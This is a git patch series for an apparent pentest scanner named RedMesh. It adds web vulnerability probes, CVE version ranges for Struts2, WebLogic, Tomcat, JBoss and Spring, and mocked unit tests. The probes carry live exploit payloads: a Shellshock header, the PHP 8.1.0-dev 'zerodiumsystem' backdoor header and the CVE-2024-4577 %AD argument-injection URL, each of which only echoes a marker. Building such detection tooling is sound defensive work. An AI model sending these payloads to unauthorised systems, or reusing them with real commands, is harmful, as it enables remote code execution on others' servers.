description=f"Template expression '{payload}' evaluated in URL path.", + evidence=f"URL: {url}, response contains '{expected}'", + remediation="Never pass user input directly into template rendering.", + owasp_id="A03:2021", + cwe_id="CWE-1336", + confidence="certain", + )) + break + except Exception: + pass + + return probe_result(findings=findings_list) + + + # ── Shellshock (CVE-2014-6271) ────────────────────────────────────── + + def _web_test_shellshock(self, target, port): + """ + Test for CVE-2014-6271 (Shellshock) by sending bash function definitions + in HTTP headers to potential CGI endpoints. + + Safe detection: uses echo-based payload that produces a unique marker + in the response body if bash evaluates the injected function. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + marker = "REDMESH_SHELLSHOCK_DETECT" + shellshock_payload = f'() {{ :; }}; echo; echo {marker}' + + cgi_paths = [ + "/cgi-bin/test.cgi", + "/cgi-bin/status", + "/cgi-bin/test", + "/cgi-bin/test-cgi", + "/cgi-bin/printenv", + "/cgi-bin/env.cgi", + "/cgi-bin/", + "/victim.cgi", + "/safe.cgi", + ] + + for cgi_path in cgi_paths: + if findings_list: + break + url = base_url.rstrip("/") + cgi_path + try: + resp = requests.get( + url, + headers={ + "User-Agent": shellshock_payload, + "Referer": shellshock_payload, + }, + timeout=4, + verify=False, + ) + if marker in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title=f"CVE-2014-6271: Shellshock RCE via {cgi_path}", + description="Bash function injection via HTTP headers is evaluated " + "by the CGI handler, enabling unauthenticated Remote " + "Code Execution.", + evidence=f"GET {url} with shellshock payload in User-Agent " + f"returned marker '{marker}' in response body.", + remediation="Upgrade bash to a patched version (>= 4.3 patch 25); " + "remove unnecessary CGI scripts.", + owasp_id="A06:2021", + cwe_id="CWE-78", + confidence="certain", + )) + except Exception: + pass + + return probe_result(findings=findings_list) + + + # ── PHP CGI argument injection + backdoor ─────────────────────────── + + def _web_test_php_cgi(self, target, port): + """ + Test for PHP-CGI vulnerabilities: + + 1. PHP 8.1.0-dev supply-chain backdoor (zerodium ``User-Agentt`` header). + 2. CVE-2024-4577: argument injection via soft-hyphen (``%AD``) bypass. + 3. PHP-CGI source disclosure via ``-s`` flag injection. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # --- 1. PHP 8.1.0-dev backdoor (User-Agentt header) --- + try: + resp = requests.get( + base_url, + headers={"User-Agentt": "zerodiumsystem(echo REDMESH_PHP_BACKDOOR);"}, + timeout=3, + verify=False, + ) + if "REDMESH_PHP_BACKDOOR" in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title="PHP 8.1.0-dev backdoor: zerodiumsystem RCE", + description="The PHP binary contains a supply-chain backdoor that " + "executes arbitrary code from the 'User-Agentt' (double-t) header. " + "This enables unauthenticated Remote Code Execution.", + evidence=f"GET {base_url} with User-Agentt: zerodiumsystem(echo ...) " + "returned the echoed marker in response body.", + remediation="Replace the PHP binary immediately — this is a " + "compromised build. Use an official PHP release.", + owasp_id="A08:2021", + cwe_id="CWE-506", + confidence="certain", + )) + except Exception: + pass + + # --- 2. CVE-2024-4577: PHP-CGI argument injection --- + php_cgi_paths = ["/", "/index.php"] + for path in php_cgi_paths: + if any("CVE-2024-4577" in f.title for f in findings_list): + break + try: + test_url = ( + base_url.rstrip("/") + path + + "?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" + ) + resp = requests.post( + test_url, + data="", + headers={"Content-Type": "application/x-www-form-urlencoded"}, + timeout=3, + verify=False, + ) + if "REDMESH_PHPCGI_TEST" in resp.text: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title="CVE-2024-4577: PHP-CGI argument injection RCE", + description="PHP-CGI accepts soft-hyphen (%AD) as argument separator, " + "allowing injection of -d flags to override configuration " + "and execute arbitrary PHP code.", + evidence=f"POST {test_url} with PHP echo payload was executed.", + remediation="Upgrade PHP; migrate from CGI to PHP-FPM; " + "add URL rewrite rules to block %AD sequences.", + owasp_id="A06:2021", + cwe_id="CWE-78", + confidence="certain", + )) + except Exception: + pass + + # --- 3. PHP-CGI source disclosure via -s flag --- + if not findings_list: + try: + resp = requests.get(base_url + "/?%ADs", timeout=3, verify=False) + if "" in resp.text and " Date: Sun, 8 Mar 2026 18:25:38 +0000 Subject: [PATCH 028/114] fix: tests CVEs for CMS & Frameworks --- extensions/business/cybersec/red_mesh/test_redmesh.py | 2 +- .../business/cybersec/red_mesh/web_injection_mixin.py | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 049ea490..7f3e4751 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -6352,7 +6352,7 @@ def fake_get(url, **kwargs): resp.ok = True resp.status_code = 200 headers = kwargs.get("headers", {}) - if "zerodiumsystem" in headers.get("User-Agentt", ""): + if "zerodium" in headers.get("User-Agentt", ""): resp.text = "REDMESH_PHP_BACKDOOR\n" else: resp.text = "PHP page" diff --git a/extensions/business/cybersec/red_mesh/web_injection_mixin.py b/extensions/business/cybersec/red_mesh/web_injection_mixin.py index a0efd861..87361334 100644 --- a/extensions/business/cybersec/red_mesh/web_injection_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_injection_mixin.py @@ -533,7 +533,7 @@ def _web_test_php_cgi(self, target, port): try: resp = requests.get( base_url, - headers={"User-Agentt": "zerodiumsystem(echo REDMESH_PHP_BACKDOOR);"}, + headers={"User-Agentt": "zerodiumsystem('echo REDMESH_PHP_BACKDOOR');"}, timeout=3, verify=False, ) @@ -572,7 +572,10 @@ def _web_test_php_cgi(self, target, port): timeout=3, verify=False, ) - if "REDMESH_PHPCGI_TEST" in resp.text: + # Guard: auto_prepend_file output appears at the very start of the + # response when truly executed. Debug/error pages (e.g. Laravel + # Ignition) may *reflect* the POST body deep in HTML, causing FP. + if "REDMESH_PHPCGI_TEST" in resp.text[:500]: findings_list.append(Finding( severity=Severity.CRITICAL, title="CVE-2024-4577: PHP-CGI argument injection RCE", From e8a58f906e97f002eb1fb56c3465c35909f8472b Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 19:54:01 +0000 Subject: [PATCH 029/114] fix: Java applications & servers --- .../business/cybersec/red_mesh/constants.py | 8 +- .../business/cybersec/red_mesh/cve_db.py | 33 + .../cybersec/red_mesh/test_redmesh.py | 575 +++++++++++++++++- .../cybersec/red_mesh/web_discovery_mixin.py | 297 +++++++++ .../cybersec/red_mesh/web_injection_mixin.py | 391 +++++++++++- 5 files changed, 1291 insertions(+), 13 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index 1e1fa153..8cc7c22e 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -50,7 +50,7 @@ "label": "Discovery", "description": "Enumerate exposed files, admin panels, homepage secrets, tech fingerprinting, and VPN endpoints (OWASP WSTG-INFO).", "category": "web", - "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints", "_web_test_cms_fingerprint", "_web_test_verbose_errors"] + "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints", "_web_test_cms_fingerprint", "_web_test_verbose_errors", "_web_test_java_servers"] }, { "id": "web_hardening", @@ -71,7 +71,7 @@ "label": "Injection probes", "description": "Non-destructive probes for path traversal, reflected XSS, and SQL injection (OWASP WSTG-INPV).", "category": "web", - "methods": ["_web_test_path_traversal", "_web_test_xss", "_web_test_sql_injection", "_web_test_ssti", "_web_test_shellshock", "_web_test_php_cgi"] + "methods": ["_web_test_path_traversal", "_web_test_xss", "_web_test_sql_injection", "_web_test_ssti", "_web_test_shellshock", "_web_test_php_cgi", "_web_test_ognl_injection", "_web_test_java_deserialization", "_web_test_spring_actuator"] }, { "id": "web_auth_design", @@ -200,6 +200,10 @@ "_web_test_mixed_content": frozenset({"http", "https"}), "_web_test_js_library_versions": frozenset({"http", "https"}), "_web_test_verbose_errors": frozenset({"http", "https"}), + "_web_test_java_servers": frozenset({"http", "https"}), + "_web_test_ognl_injection": frozenset({"http", "https"}), + "_web_test_java_deserialization": frozenset({"http", "https"}), + "_web_test_spring_actuator": frozenset({"http", "https"}), } # ===================================================================== diff --git a/extensions/business/cybersec/red_mesh/cve_db.py b/extensions/business/cybersec/red_mesh/cve_db.py index c727a73d..965b833b 100644 --- a/extensions/business/cybersec/red_mesh/cve_db.py +++ b/extensions/business/cybersec/red_mesh/cve_db.py @@ -167,6 +167,39 @@ class CveEntry: # ── Laravel / Ignition ───────────────────────────────────────── CveEntry("laravel_ignition", "<2.5.2", "CVE-2021-3129", Severity.CRITICAL, "Ignition debug mode RCE via file_put_contents", "CWE-94"), + # ── Apache Struts2 ───────────────────────────────────────────── + CveEntry("struts2", ">=2.3.5,<2.3.32", "CVE-2017-5638", Severity.CRITICAL, "S2-045: OGNL injection via Content-Type header RCE", "CWE-94"), + CveEntry("struts2", ">=2.5.0,<2.5.10.1", "CVE-2017-5638", Severity.CRITICAL, "S2-045: OGNL injection via Content-Type header RCE", "CWE-94"), + CveEntry("struts2", ">=2.3.5,<2.3.33", "CVE-2017-9805", Severity.CRITICAL, "S2-052: XML deserialization RCE via REST plugin", "CWE-502"), + CveEntry("struts2", ">=2.5.0,<2.5.13", "CVE-2017-9805", Severity.CRITICAL, "S2-052: XML deserialization RCE via REST plugin", "CWE-502"), + CveEntry("struts2", ">=2.0.0,<2.5.26", "CVE-2020-17530", Severity.CRITICAL, "S2-061: Forced OGNL evaluation via tag attributes", "CWE-94"), + + # ── Oracle WebLogic ────────────────────────────────────────── + CveEntry("weblogic", ">=10.3.6.0,<10.3.6.1", "CVE-2017-10271", Severity.CRITICAL, "XMLDecoder deserialization RCE via wls-wsat", "CWE-502"), + CveEntry("weblogic", ">=12.1.3.0,<12.1.3.1", "CVE-2017-10271", Severity.CRITICAL, "XMLDecoder deserialization RCE via wls-wsat", "CWE-502"), + CveEntry("weblogic", ">=10.3.6.0,<10.3.6.1", "CVE-2020-14882", Severity.CRITICAL, "Console unauthenticated takeover RCE", "CWE-306"), + CveEntry("weblogic", ">=12.1.3.0,<12.2.1.5", "CVE-2020-14882", Severity.CRITICAL, "Console unauthenticated takeover RCE", "CWE-306"), + CveEntry("weblogic", ">=12.2.1.3,<12.2.1.4", "CVE-2023-21839", Severity.HIGH, "IIOP/T3 protocol deserialization RCE", "CWE-502"), + + # ── Apache Tomcat ──────────────────────────────────────────── + CveEntry("tomcat", ">=9.0.0,<9.0.31", "CVE-2020-1938", Severity.CRITICAL, "Ghostcat: AJP connector file read/inclusion RCE", "CWE-20"), + CveEntry("tomcat", ">=8.5.0,<8.5.51", "CVE-2020-1938", Severity.CRITICAL, "Ghostcat: AJP connector file read/inclusion RCE", "CWE-20"), + CveEntry("tomcat", ">=7.0.0,<7.0.100", "CVE-2020-1938", Severity.CRITICAL, "Ghostcat: AJP connector file read/inclusion RCE", "CWE-20"), + CveEntry("tomcat", ">=7.0.0,<7.0.81", "CVE-2017-12615", Severity.HIGH, "PUT method JSP file upload RCE", "CWE-434"), + CveEntry("tomcat", ">=9.0.0,<9.0.99", "CVE-2025-24813", Severity.CRITICAL, "Partial PUT deserialization RCE", "CWE-502"), + CveEntry("tomcat", ">=10.1.0,<10.1.35", "CVE-2025-24813", Severity.CRITICAL, "Partial PUT deserialization RCE", "CWE-502"), + + # ── JBoss Application Server ───────────────────────────────── + CveEntry("jboss", ">=4.0,<7.0", "CVE-2017-12149", Severity.CRITICAL, "Java deserialization RCE via /invoker/readonly", "CWE-502"), + + # ── Spring Framework ───────────────────────────────────────── + CveEntry("spring_framework", ">=5.3.0,<5.3.18", "CVE-2022-22965", Severity.CRITICAL, "Spring4Shell: ClassLoader manipulation RCE", "CWE-94"), + CveEntry("spring_framework", ">=5.2.0,<5.2.20", "CVE-2022-22965", Severity.CRITICAL, "Spring4Shell: ClassLoader manipulation RCE", "CWE-94"), + + # ── Spring Cloud Function ──────────────────────────────────── + CveEntry("spring_cloud_function", ">=3.0.0,<3.1.7", "CVE-2022-22963", Severity.CRITICAL, "SpEL injection via routing header RCE", "CWE-94"), + CveEntry("spring_cloud_function", ">=3.2.0,<3.2.3", "CVE-2022-22963", Severity.CRITICAL, "SpEL injection via routing header RCE", "CWE-94"), + # ── BIND (DNS) ────────────────────────────────────────────────── CveEntry("bind", "<9.11.37", "CVE-2022-2795", Severity.MEDIUM, "Flooding targeted resolver with queries DoS", "CWE-400"), CveEntry("bind", "<9.16.33", "CVE-2022-3080", Severity.HIGH, "TKEY assertion failure DoS on DNAME resolution", "CWE-617"), diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 7f3e4751..92a25a57 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -6255,9 +6255,9 @@ def fake_get(url, **kwargs): resp.ok = True resp.status_code = 200 decoded = unquote(url) - # Evaluate {{7*7}} → 49, but don't echo the raw template back - if "name=" in decoded and "{{7*7}}" in decoded: - resp.text = 'Hello 49!' + # Evaluate {{71*73}} → 5183, but don't echo the raw template back + if "name=" in decoded and "{{71*73}}" in decoded: + resp.text = 'Hello 5183!' elif "name=" in decoded and "{{7*'7'}}" in decoded: resp.text = 'Hello 7777777!' else: @@ -6283,8 +6283,8 @@ def fake_get(url, **kwargs): resp.status_code = 200 decoded = unquote(url) # Echo back the raw payload — this is XSS not SSTI - if "name=" in decoded and "{{7*7}}" in decoded: - resp.text = 'Hello {{7*7}}!' + if "name=" in decoded and "{{71*73}}" in decoded: + resp.text = 'Hello {{71*73}}!' elif "name=" in decoded and "{{7*'7'}}" in decoded: resp.text = "Hello {{7*'7'}}!" else: @@ -6499,15 +6499,15 @@ def fake_get(url, **kwargs): resp = MagicMock() resp.ok = True resp.status_code = 200 - # Every response contains "49" naturally (e.g. page content) - resp.text = '

Contact: +1-234-567-8949

' + # Every response contains "5183" naturally (e.g. page content) + resp.text = '

Order #5183 confirmed

' return resp with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): result = worker._web_test_ssti("1.2.3.4", 4300) findings = result.get("findings", []) - self.assertEqual(len(findings), 0, f"Should NOT fire when '49' already in baseline. Got: {[f['title'] for f in findings]}") + self.assertEqual(len(findings), 0, f"Should NOT fire when '5183' already in baseline. Got: {[f['title'] for f in findings]}") # ── Shellshock via document root CGI paths ─────────────────────── @@ -6558,6 +6558,564 @@ def test_http_alt_no_duplicate_cves(self): self.assertEqual(result.get("server"), "Apache/2.4.25 (Debian)") +class TestBatch4JavaGapFixes(unittest.TestCase): + """Tests for batch 4: Java application servers, Struts2, WebLogic, Spring.""" + + def setUp(self): + if MANUAL_RUN: + print() + color_print(f"[MANUAL] >>> Starting <{self._testMethodName}>", color='b') + + def _build_worker(self, ports=None): + if ports is None: + ports = [80] + owner = DummyOwner() + worker = PentestLocalWorker( + owner=owner, + target="example.com", + job_id="job-batch4", + initiator="init@example", + local_id_prefix="1", + worker_target_ports=ports, + ) + worker.stop_event = MagicMock() + worker.stop_event.is_set.return_value = False + return owner, worker + + # ── CVE database: Struts2 ───────────────────────────────────────── + + def test_struts2_cve_2017_5638_match(self): + """CVE-2017-5638 should match Struts2 2.5.10.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("struts2", "2.5.10") + self.assertTrue(any("CVE-2017-5638" in f.title for f in findings)) + + def test_struts2_cve_2017_5638_patched(self): + """CVE-2017-5638 should NOT match Struts2 2.5.10.1.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("struts2", "2.5.10.1") + self.assertFalse(any("CVE-2017-5638" in f.title for f in findings)) + + def test_struts2_cve_2017_9805_match(self): + """CVE-2017-9805 should match Struts2 2.5.12.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("struts2", "2.5.12") + self.assertTrue(any("CVE-2017-9805" in f.title for f in findings)) + + def test_struts2_cve_2020_17530_match(self): + """CVE-2020-17530 should match Struts2 2.5.25.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("struts2", "2.5.25") + self.assertTrue(any("CVE-2020-17530" in f.title for f in findings)) + + def test_struts2_cve_2020_17530_patched(self): + """CVE-2020-17530 should NOT match Struts2 2.5.26.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("struts2", "2.5.26") + self.assertFalse(any("CVE-2020-17530" in f.title for f in findings)) + + # ── CVE database: WebLogic ──────────────────────────────────────── + + def test_weblogic_cve_2017_10271_match(self): + """CVE-2017-10271 should match WebLogic 10.3.6.0.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("weblogic", "10.3.6.0") + self.assertTrue(any("CVE-2017-10271" in f.title for f in findings)) + + def test_weblogic_cve_2020_14882_match(self): + """CVE-2020-14882 should match WebLogic 12.2.1.3.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("weblogic", "12.2.1.3") + self.assertTrue(any("CVE-2020-14882" in f.title for f in findings)) + + # ── CVE database: Tomcat ────────────────────────────────────────── + + def test_tomcat_cve_2020_1938_match(self): + """CVE-2020-1938 Ghostcat should match Tomcat 9.0.30.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("tomcat", "9.0.30") + self.assertTrue(any("CVE-2020-1938" in f.title for f in findings)) + + def test_tomcat_cve_2020_1938_patched(self): + """CVE-2020-1938 should NOT match Tomcat 9.0.31.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("tomcat", "9.0.31") + self.assertFalse(any("CVE-2020-1938" in f.title for f in findings)) + + # ── CVE database: JBoss ─────────────────────────────────────────── + + def test_jboss_cve_2017_12149_match(self): + """CVE-2017-12149 should match JBoss 6.0.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("jboss", "6.0") + self.assertTrue(any("CVE-2017-12149" in f.title for f in findings)) + + def test_jboss_cve_2017_12149_patched(self): + """CVE-2017-12149 should NOT match JBoss 7.0.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("jboss", "7.0") + self.assertFalse(any("CVE-2017-12149" in f.title for f in findings)) + + # ── CVE database: Spring ────────────────────────────────────────── + + def test_spring_cve_2022_22965_match(self): + """CVE-2022-22965 Spring4Shell should match Spring Framework 5.3.17.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("spring_framework", "5.3.17") + self.assertTrue(any("CVE-2022-22965" in f.title for f in findings)) + + def test_spring_cloud_cve_2022_22963_match(self): + """CVE-2022-22963 should match Spring Cloud Function 3.2.2.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("spring_cloud_function", "3.2.2") + self.assertTrue(any("CVE-2022-22963" in f.title for f in findings)) + + def test_spring_cloud_cve_2022_22963_patched(self): + """CVE-2022-22963 should NOT match Spring Cloud Function 3.2.3.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("spring_cloud_function", "3.2.3") + self.assertFalse(any("CVE-2022-22963" in f.title for f in findings)) + + # ── WebLogic detection probe ────────────────────────────────────── + + def test_weblogic_console_detected(self): + """Java servers probe should detect WebLogic via console page.""" + _, worker = self._build_worker(ports=[7102]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if "/console/login/LoginForm.jsp" in url: + resp.ok = True + resp.status_code = 200 + resp.text = 'WebLogic Server 10.3.6.0' + elif "/console/" in url: + resp.ok = True + resp.status_code = 200 + resp.text = 'WebLogic login page' + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_servers("1.2.3.4", 7102) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("WebLogic" in t and "10.3.6.0" in t for t in titles), f"Should detect WebLogic 10.3.6.0. Got: {titles}") + self.assertTrue(any("CVE-2017-10271" in t for t in titles), f"Should find CVE-2017-10271. Got: {titles}") + self.assertTrue(any("console exposed" in t.lower() for t in titles), f"Should flag console exposure. Got: {titles}") + + # ── Tomcat detection probe ──────────────────────────────────────── + + def test_tomcat_detected_from_default_page(self): + """Java servers probe should detect Tomcat via default page.""" + _, worker = self._build_worker(ports=[7104]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if url.endswith(":7104"): + resp.ok = True + resp.status_code = 200 + resp.text = '

Apache Tomcat/9.0.30

' + resp.headers = {"Server": "Apache-Coyote/1.1"} + elif "/console/login/LoginForm.jsp" in url: + pass # 404 + elif "/manager/html" in url: + resp.status_code = 401 + resp.text = "Unauthorized" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_servers("1.2.3.4", 7104) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Tomcat" in t and "9.0.30" in t for t in titles), f"Should detect Tomcat 9.0.30. Got: {titles}") + self.assertTrue(any("CVE-2020-1938" in t for t in titles), f"Should find Ghostcat CVE. Got: {titles}") + + # ── JBoss detection probe ───────────────────────────────────────── + + def test_jboss_detected_from_header(self): + """Java servers probe should detect JBoss via X-Powered-By header.""" + _, worker = self._build_worker(ports=[7106]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "Welcome to JBoss" + resp.headers = {"X-Powered-By": "Servlet/3.0; JBossAS-6"} + if "/console/login/LoginForm.jsp" in url: + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + elif "/jmx-console/" in url: + resp.status_code = 200 + resp.text = "JMX Console" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_servers("1.2.3.4", 7106) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("JBoss" in t for t in titles), f"Should detect JBoss. Got: {titles}") + self.assertTrue(any("CVE-2017-12149" in t for t in titles), f"Should find JBoss deser CVE. Got: {titles}") + + # ── Spring detection probe ──────────────────────────────────────── + + def test_spring_detected_from_whitelabel(self): + """Java servers probe should detect Spring via Whitelabel Error Page.""" + _, worker = self._build_worker(ports=[7108]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "App home" + resp.headers = {} + if "/console/login/LoginForm.jsp" in url: + resp.ok = False + resp.status_code = 404 + resp.text = "" + elif "/nonexistent_" in url: + resp.status_code = 404 + resp.text = '

Whitelabel Error Page

' + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_servers("1.2.3.4", 7108) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Spring" in t for t in titles), f"Should detect Spring. Got: {titles}") + + # ── OGNL injection probe ────────────────────────────────────────── + + def test_ognl_injection_s2_045_detected(self): + """OGNL probe should detect S2-045 via Content-Type header.""" + _, worker = self._build_worker(ports=[7100]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "" + headers = kwargs.get("headers", {}) + ct = headers.get("Content-Type", "") + if "167837218" in ct and ("/index.action" in url or url.endswith(":7100/")): + resp.text = "167837218" + else: + resp.text = "Normal page" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_ognl_injection("1.2.3.4", 7100) + + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0, "Should detect OGNL injection") + self.assertEqual(findings[0]["severity"], "CRITICAL") + self.assertIn("CVE-2017-5638", findings[0]["title"]) + + # ── Java deserialization probe ──────────────────────────────────── + + def test_weblogic_wlswsat_detected(self): + """Deserialization probe should detect wls-wsat endpoint.""" + _, worker = self._build_worker(ports=[7102]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if "/wls-wsat/CoordinatorPortType" in url: + resp.ok = True + resp.status_code = 200 + resp.text = 'CoordinatorPortType WSDL' + resp.headers = {"Content-Type": "text/xml"} + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_deserialization("1.2.3.4", 7102) + + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0, "Should detect wls-wsat endpoint") + self.assertIn("CVE-2017-10271", findings[0]["title"]) + + def test_jboss_invoker_detected(self): + """Deserialization probe should detect JBoss /invoker/readonly.""" + _, worker = self._build_worker(ports=[7106]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if "/invoker/readonly" in url: + resp.status_code = 500 + resp.text = "Internal Server Error" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_java_deserialization("1.2.3.4", 7106) + + findings = result.get("findings", []) + self.assertTrue(any("CVE-2017-12149" in f["title"] for f in findings), f"Should detect JBoss invoker. Got: {[f['title'] for f in findings]}") + + # ── Spring Actuator probe ───────────────────────────────────────── + + def test_spring_actuator_env_detected(self): + """Spring actuator probe should detect exposed /actuator/env.""" + _, worker = self._build_worker(ports=[7108]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {"Content-Type": "text/html"} + if "/actuator/env" in url: + resp.ok = True + resp.status_code = 200 + resp.text = '{"propertySources":[{"name":"systemProperties"}]}' + resp.headers = {"Content-Type": "application/json"} + elif "/actuator/health" in url: + resp.ok = True + resp.status_code = 200 + resp.text = '{"status":"UP"}' + resp.headers = {"Content-Type": "application/json"} + elif "/actuator" in url and "/actuator/" not in url: + resp.ok = True + resp.status_code = 200 + resp.text = '{"_links":{"self":{"href":"/actuator"}}}' + resp.headers = {"Content-Type": "application/json"} + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_spring_actuator("1.2.3.4", 7108) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("actuator/env" in t.lower() for t in titles), f"Should detect /actuator/env. Got: {titles}") + + def test_spring_cloud_spel_injection_detected(self): + """Spring actuator probe should detect CVE-2022-22963 SpEL injection.""" + _, worker = self._build_worker(ports=[7109]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {"Content-Type": "text/html"} + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + if "/functionRouter" in url: + headers = kwargs.get("headers", {}) + if "routing-expression" in str(headers): + resp.status_code = 500 + resp.text = '{"error":"SpelEvaluationException: evaluation failed"}' + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_spring_actuator("1.2.3.4", 7109) + + findings = result.get("findings", []) + self.assertTrue(any("CVE-2022-22963" in f["title"] for f in findings), f"Should detect SpEL injection. Got: {[f['title'] for f in findings]}") + + # ── Gap fix: Struts2 detection via /struts/utils.js ───────────── + + def test_struts2_detected_from_utils_js(self): + """Struts2 should be detected via /struts/utils.js (REST showcase).""" + _, worker = self._build_worker(ports=[7101]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + resp.text = "" + resp.headers = {} + if "/console/login/LoginForm.jsp" in url: + pass # 404 + elif url.endswith(":7101") or url.endswith(":7101/"): + resp.ok = True + resp.status_code = 200 + resp.text = 'REST showcase' + resp.headers = {"Server": "Apache-Coyote/1.1"} + elif "/struts/utils.js" in url: + resp.ok = True + resp.status_code = 200 + resp.text = 'var StrutsUtils = {}; // Struts2 tag library utilities\n' * 5 + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_java_servers("1.2.3.4", 7101) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Struts2" in t for t in titles), f"Should detect Struts2 via utils.js. Got: {titles}") + + # ── Gap fix: Tomcat + Struts2 co-detection (no early return) ──── + + def test_tomcat_and_struts2_codetected(self): + """Tomcat detection should NOT prevent Struts2 detection.""" + _, worker = self._build_worker(ports=[7101]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = False + resp.status_code = 404 + 